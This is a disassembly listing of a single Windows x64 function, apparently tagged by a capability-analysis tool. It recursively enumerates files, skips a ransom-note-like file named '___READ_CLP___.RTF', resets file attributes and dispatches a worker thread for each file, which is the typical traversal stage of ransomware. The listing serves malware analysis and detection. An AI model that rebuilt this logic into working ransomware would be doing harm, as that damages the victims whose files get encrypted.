Function at 0x140002610
Capabilities:
Create thread
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x2b98
call fcn.140064ac0
sub rsp, rax
mov rax, qword [0x14007d280]
xor rax, rsp
mov qword [rsp + 0x2b80], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
mov r8d, 0x410
xor edx, edx
lea rcx, [rsp + 0x2e0]
call fcn.140065c00
mov r8d, 0x410
xor edx, edx
lea rcx, [rsp + 0xb00]
call fcn.140065c00
mov r8d, 0x410
xor edx, edx
lea rcx, [rsp + 0x1320]
call fcn.140065c00
mov rdx, qword [rsp + 0x2ba0]
lea rcx, [rsp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x140072754]
lea rcx, [rsp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x2e0]
lea rcx, [rsp + 0x1320]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rdx, qword [rsp + 0x2ba8]
lea rcx, [rsp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
je 0x140002c18
mov eax, dword [rsp + 0x90]
and eax, 0x10
test eax, eax
jne 0x14000297f
lea rdx, [0x140072758]
lea rcx, [rsp + 0xbc]
call fcn.1400054d0
test eax, eax
je 0x14000297f
lea rdx, [0x140072760]
lea rcx, [rsp + 0xbc]
call fcn.1400054d0
test eax, eax
je 0x14000297f
lea rdx, str.____READ_CLP____.RTF
lea rcx, [rsp + 0xbc]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
jne 0x14000297f
lea rcx, [rsp + 0xbc]
call fcn.140004c00
test eax, eax
jne 0x14000297f
lea rcx, [rsp + 0xbc]
call fcn.140004450
test eax, eax
jne 0x14000297f
lea r9, [rsp + 0xbc]
lea r8, [rsp + 0x1320]
lea rdx, [0x140072768]
lea rcx, [rsp + 0x1b40]
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, 0x80
lea rcx, [rsp + 0x1b40]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rsp + 0x1b40]
call fcn.140064970
movzx eax, al
test eax, eax
je 0x14000294d
mov eax, dword [rsp + 0xb0]
mov ecx, dword [rsp + 0xac]
shl rcx, 0x20
or rax, rcx
mov qword [rsp + 0x80], rax
mov edx, 0x768
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x2bb0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x50]
add rax, 0x53c
lea rdx, [rsp + 0xbc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x50]
add rax, 0x12c
lea rdx, [rsp + 0x1320]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x80]
mov qword [rax + 0x748], rcx
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x2bd0]
mov qword [rax + 0x750], rcx
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x2bd8]
mov qword [rax + 0x758], rcx
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x2be0]
mov qword [rax + 0x760], rcx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x50]
lea r8, [0x140001430]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0x2bb8]
cmp dword [rsp + 0x2bc0], eax
jne 0x140002932
mov dword [rsp + 0x2bc0], 1
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000294d
mov eax, dword [rsp + 0x2bc0]
inc eax
mov dword [rsp + 0x2bc0], eax
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2ba0]
call fcn.140066568
shl rax, 1
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 0xc8
jae 0x14000297f
cmp dword [rsp + 0x68], 5
jbe 0x14000297f
mov rcx, qword [rsp + 0x2ba0]
call fcn.140064960
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x140002c0d
mov eax, dword [rsp + 0x90]
and eax, 0x10
test eax, eax
jne 0x140002c08
lea rdx, [0x140072774]
lea rcx, [rsp + 0xbc]
call fcn.1400054d0
test eax, eax
je 0x140002c08
lea rdx, [0x140072764]
lea rcx, [rsp + 0xbc]
call fcn.1400054d0
test eax, eax
je 0x140002c08
lea rdx, str.____READ_CLP____.RTF
lea rcx, [rsp + 0xbc]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
jne 0x140002c08
lea rcx, [rsp + 0xbc]
call fcn.140004c00
test eax, eax
jne 0x140002c08
lea rcx, [rsp + 0xbc]
call fcn.140004450
test eax, eax
jne 0x140002c08
lea r9, [rsp + 0xbc]
lea r8, [rsp + 0x1320]
lea rdx, [0x140072780]
lea rcx, [rsp + 0x2360]
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, 0x80
lea rcx, [rsp + 0x2360]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rsp + 0x2360]
call fcn.140064970
movzx eax, al
test eax, eax
je 0x140002bd6
mov eax, dword [rsp + 0xb0]
mov ecx, dword [rsp + 0xac]
shl rcx, 0x20
or rax, rcx
mov qword [rsp + 0x88], rax
mov edx, 0x768
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x2bb0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x58]
add rax, 0x53c
lea rdx, [rsp + 0xbc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x58]
add rax, 0x12c
lea rdx, [rsp + 0x1320]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x88]
mov qword [rax + 0x748], rcx
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x2bd0]
mov qword [rax + 0x750], rcx
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x2bd8]
mov qword [rax + 0x758], rcx
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x2be0]
mov qword [rax + 0x760], rcx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x58]
lea r8, [0x140001430]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x78], rax
mov eax, dword [rsp + 0x2bb8]
cmp dword [rsp + 0x2bc0], eax
jne 0x140002bbb
mov dword [rsp + 0x2bc0], 1
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002bd6
mov eax, dword [rsp + 0x2bc0]
inc eax
mov dword [rsp + 0x2bc0], eax
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2ba0]
call fcn.140066568
shl rax, 1
mov dword [rsp + 0x6c], eax
cmp dword [rsp + 0x6c], 0xc8
jae 0x140002c08
cmp dword [rsp + 0x6c], 5
jbe 0x140002c08
mov rcx, qword [rsp + 0x2ba0]
call fcn.140064960
jmp 0x14000297f
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rdx, qword [rsp + 0x2ba0]
lea rcx, [rsp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x140072790]
lea rcx, [rsp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
je 0x140002e6f
mov eax, dword [rsp + 0x90]
and eax, 0x10
test eax, eax
je 0x140002d57
lea rdx, [0x14007279c]
lea rcx, [rsp + 0xbc]
call fcn.1400054d0
test eax, eax
je 0x140002d57
lea rdx, [0x14007277c]
lea rcx, [rsp + 0xbc]
call fcn.1400054d0
test eax, eax
je 0x140002d57
mov rdx, qword [rsp + 0x2ba0]
lea rcx, [rsp + 0xb00]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14007278c]
lea rcx, [rsp + 0xb00]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0xbc]
lea rcx, [rsp + 0xb00]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, qword [rsp + 0x2be0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x2bd8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x2bd0]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x2bc8]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x2bc0]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x2bb8]
mov r8, qword [rsp + 0x2bb0]
mov rdx, qword [rsp + 0x2ba8]
lea rcx, [rsp + 0xb00]
call fcn.140002610
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x140002e64
mov eax, dword [rsp + 0x90]
and eax, 0x10
test eax, eax
je 0x140002e5f
lea rdx, [0x1400727a4]
lea rcx, [rsp + 0xbc]
call fcn.1400054d0
test eax, eax
je 0x140002e5f
lea rdx, [0x1400727ac]
lea rcx, [rsp + 0xbc]
call fcn.1400054d0
test eax, eax
je 0x140002e5f
mov rdx, qword [rsp + 0x2ba0]
lea rcx, [rsp + 0xb00]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x1400727b0]
lea rcx, [rsp + 0xb00]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0xbc]
lea rcx, [rsp + 0xb00]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, qword [rsp + 0x2be0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x2bd8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x2bd0]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x2bc8]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x2bc0]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x2bb8]
mov r8, qword [rsp + 0x2bb0]
mov rdx, qword [rsp + 0x2ba8]
lea rcx, [rsp + 0xb00]
call fcn.140002610
jmp 0x140002d57
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rsp + 0x2b80]
xor rcx, rsp
call fcn.140064b30
add rsp, 0x2b98
ret